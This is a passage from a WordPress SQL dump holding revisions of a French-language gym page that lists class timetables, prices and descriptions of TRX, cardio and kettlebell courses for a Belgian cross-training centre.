5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:43:44', '2013-07-03 16:43:44', '', 11, 'http://www.crosstrainingcenter.be/?p=174', 0, 'revision', '', 0);
INSERT INTO `www2_posts` (`ID`, `post_author`, `post_date`, `post_date_gmt`, `post_content`, `post_title`, `post_excerpt`, `post_status`, `comment_status`, `ping_status`, `post_password`, `post_name`, `to_ping`, `pinged`, `post_modified`, `post_modified_gmt`, `post_content_filtered`, `post_parent`, `guid`, `menu_order`, `post_type`, `post_mime_type`, `comment_count`) VALUES
(175, 1, '2013-07-03 16:49:05', '2013-07-03 16:49:05', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;Le week-end&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 30%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Samedi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Dimanche&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;TRX&lt;/span&gt; :&lt;/strong&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;Circuit GLFE&lt;/span&gt; :&lt;/strong&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issu de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-07-03 16:49:05', '2013-07-03 16:49:05', '', 11, 'http://www.crosstrainingcenter.be/?p=175', 0, 'revision', '', 0),
(176, 1, '2013-07-03 16:49:22', '2013-07-03 16:49:22', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 personnes).\r\n\r\nEn semaine :\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitre\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;theure\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border-bottom: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td  class=\&quot;theure\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; border-bottom: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n\r\n\r\n\r\n\r\n&lt;h2&gt;Nous vous  proposons chaque jour :&lt;/h2&gt;\r\n- &lt;strong&gt;Team Training&lt;/strong&gt; : entrainements en groupe avec un coach qualifié (8 à 12 pers.)\r\n- &lt;strong&gt;Duo Training&lt;/strong&gt; : entrainements à deux personnes sous la supervision d’un coach\r\n- &lt;strong&gt;Personal Training&lt;/strong&gt; : un coach par personne, l’idéal pour progresser plus rapidement!\r\n- &lt;strong&gt;Coaching nutritionnel&lt;/strong&gt; : rendez-vous avec une diététicienne pour améliorer votre santé\r\n&lt;h2&gt;Prix :&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px; border-bottom-style: dotted;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 séance : 9.00€1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€Suivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Horaire :&lt;/h2&gt;\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Team Training (réservation obligatoire)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Du Lundi au Vendredi 4 séances : 17h30 – 18h15 – 19h00 – 19h45\r\nSamedi et Dimanche 3 séances : 11h00 – 11h30 – 12h00&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Personal et Duo Training (sur rendez-vous)&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;Tous les jours du lundi au dimanche.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h2&gt;Les cours :&lt;/h2&gt;\r\n&lt;strong&gt;En semaine&lt;/strong&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Lundi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mardi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Mercredi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Jeudi&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;Vendredi&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 